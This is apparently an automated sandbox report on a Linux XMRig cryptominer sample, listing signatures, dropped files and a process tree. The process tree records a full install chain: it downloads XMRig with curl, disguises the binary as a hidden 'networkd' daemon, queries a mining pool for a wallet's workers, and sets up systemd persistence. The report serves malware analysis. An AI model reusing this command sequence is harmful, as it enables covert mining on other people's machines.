Analysis

  • max time kernel
    17s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    31/08/2026, 23:16

General

  • Target
    66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
  • Size 6KB
  • Sample260831-285bvsaf37
  • SHA256 66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 48 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
    /tmp/66fba433a2dad78c25b2e7ba7b721a7211c2c3fb59c2a1790a39bd6dc06bf899
    1⤵
    • Executes dropped EXE
    • Modifies systemd
    • Writes file to tmp directory
    PID:1488
    • /usr/bin/tr
      tr -cd "[:alnum:]-"
      2⤵
        PID:1491
      • /bin/hostname
        hostname
        2⤵
          PID:1490
        • /usr/bin/id
          id -u
          2⤵
            PID:1492
          • /usr/bin/whoami
            whoami
            2⤵
              PID:1493
            • /bin/hostname
              hostname
              2⤵
                PID:1494
              • /usr/bin/pkill
                pkill -f /usr/lib/.cache/networkd
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:1495
              • /usr/bin/pkill
                pkill -f /tmp/xmrig
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:1499
              • /bin/sleep
                sleep 1
                2⤵
                  PID:1504
                • /usr/bin/curl
                  curl -fsSL -o /tmp/xmrig.tgz https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-linux-static-x64.tar.gz
                  2⤵
                  • Writes file to tmp directory
                  PID:1506
                • /usr/bin/awk
                  awk "{print \$1}"
                  2⤵
                    PID:1511
                  • /usr/bin/sha256sum
                    sha256sum /tmp/xmrig.tgz
                    2⤵
                      PID:1510
                    • /bin/tar
                      tar xzf /tmp/xmrig.tgz
                      2⤵
                      • Writes file to tmp directory
                      PID:1512
                      • /usr/local/sbin/gzip
                        gzip -d
                        3⤵
                          PID:1513
                        • /usr/local/bin/gzip
                          gzip -d
                          3⤵
                            PID:1513
                          • /usr/sbin/gzip
                            gzip -d
                            3⤵
                              PID:1513
                            • /usr/bin/gzip
                              gzip -d
                              3⤵
                                PID:1513
                              • /sbin/gzip
                                gzip -d
                                3⤵
                                  PID:1513
                                • /bin/gzip
                                  gzip -d
                                  3⤵
                                    PID:1513
                                • /bin/cp
                                  cp -f /tmp/xmrig-6.26.0/xmrig /tmp/xmrig
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1514
                                • /bin/mkdir
                                  mkdir -p /usr/lib/.cache
                                  2⤵
                                    PID:1515
                                  • /bin/cp
                                    cp -f /tmp/xmrig /usr/lib/.cache/networkd
                                    2⤵
                                      PID:1516
                                    • /bin/chmod
                                      chmod 750 /usr/lib/.cache/networkd
                                      2⤵
                                        PID:1517
                                      • /bin/chown
                                        chown root:root /usr/lib/.cache/networkd
                                        2⤵
                                          PID:1518
                                        • /bin/rm
                                          rm -rf /tmp/xmrig /tmp/xmrig.tgz /tmp/xmrig-6.26.0
                                          2⤵
                                            PID:1519
                                          • /bin/cat
                                            cat
                                            2⤵
                                              PID:1520
                                            • /bin/chmod
                                              chmod 600 /usr/lib/.cache/.net.json
                                              2⤵
                                                PID:1521
                                              • /bin/chown
                                                chown root:root /usr/lib/.cache/.net.json
                                                2⤵
                                                  PID:1522
                                                • /bin/date
                                                  date "+%s"
                                                  2⤵
                                                    PID:1523
                                                  • /bin/sed
                                                    sed s/vps-ubuntu1804-amd64-20260513-en-3-01/deploytest-1788218170-1488/ /usr/lib/.cache/.net.json
                                                    2⤵
                                                      PID:1524
                                                    • /bin/sleep
                                                      sleep 8
                                                      2⤵
                                                        PID:1526
                                                      • /usr/lib/.cache/networkd
                                                        /usr/lib/.cache/networkd --config /tmp/.nettest.json
                                                        2⤵
                                                        • Checks hardware identifiers (DMI)
                                                        • Reads hardware information
                                                        • Changes its process name
                                                        • Checks CPU configuration
                                                        • Reads CPU attributes
                                                        • Enumerates kernel/hardware configuration
                                                        • Reads runtime system information
                                                        PID:1525
                                                      • /bin/sleep
                                                        sleep 1
                                                        2⤵
                                                          PID:1532
                                                        • /bin/rm
                                                          rm -f /tmp/.nettest.json /tmp/.nettest.log
                                                          2⤵
                                                            PID:1533
                                                          • /bin/sleep
                                                            sleep 4
                                                            2⤵
                                                              PID:1534
                                                            • /usr/bin/curl
                                                              curl -sk --max-time 10 https://www.supportxmr.com/api/miner/85xKRizRbq5J9pDaXeKZkNP7ag7ibYp4zEwub4P4KrwC8vzDZBYNagviZ9ok2QaAeLfqKtiRHgnw4ExK3faSQZoA3oZnAFE/stats/allWorkers
                                                              2⤵
                                                                PID:1535
                                                              • /bin/grep
                                                                grep -q deploytest-1788218170-1488
                                                                2⤵
                                                                  PID:1536
                                                                • /bin/systemctl
                                                                  systemctl list-units
                                                                  2⤵
                                                                    PID:1538
                                                                  • /bin/cat
                                                                    cat
                                                                    2⤵
                                                                      PID:1539
                                                                    • /bin/systemctl
                                                                      systemctl daemon-reload
                                                                      2⤵
                                                                        PID:1540
                                                                      • /bin/systemctl
                                                                        systemctl enable /etc/systemd/system/networkd.service
                                                                        2⤵
                                                                          PID:1561
                                                                        • /bin/systemctl
                                                                          systemctl restart /etc/systemd/system/networkd.service
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:1582

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

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                                                                            Downloads

                                                                            networkd.service

                                                                            • Path /etc/systemd/system/networkd.service
                                                                            • Size 413B
                                                                            • SHA256 481c43849ffe965bfa4872016afe3187ae752cdcdc8b5b9f24f09e9029fdd5ad
                                                                            • MD5 SHA1 SHA512 TLSH

                                                                            .nettest.json

                                                                            • Path /tmp/.nettest.json
                                                                            • Size 837B
                                                                            • SHA256 43d83590f5c72d49b80c4503fe8ec0c50cb0b02e38f9af010a94aef4c82a430c
                                                                            • MD5 SHA1 SHA512 TLSH

                                                                            sh-thd.WoeJHj

                                                                            • Path /tmp/sh-thd.WoeJHj
                                                                            • Size 848B
                                                                            • SHA256 07e26164543e925eb7e8605215e274730e745b149248792dd1e4cb43214c4aab
                                                                            • MD5 SHA1 SHA512 TLSH

                                                                            SHA256SUMS

                                                                            • Path /tmp/xmrig-6.26.0/SHA256SUMS
                                                                            • Size 150B
                                                                            • SHA256 dfa7c8ebcece392e8ecd4ec56c1e06ff2984068ab81dcada8e65191416be04a9
                                                                            • MD5 SHA1 SHA512 TLSH

                                                                            config.json

                                                                            • Path /tmp/xmrig-6.26.0/config.json
                                                                            • Size 2KB
                                                                            • SHA256 a6a710135483296b9a943dc3ed31d6a1396b5cfeb127ab0d7e5c6bf49785130a
                                                                            • MD5 SHA1 SHA512 TLSH

                                                                            xmrig

                                                                            • Path /tmp/xmrig-6.26.0/xmrig
                                                                            • Size 8.0MB
                                                                            • SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH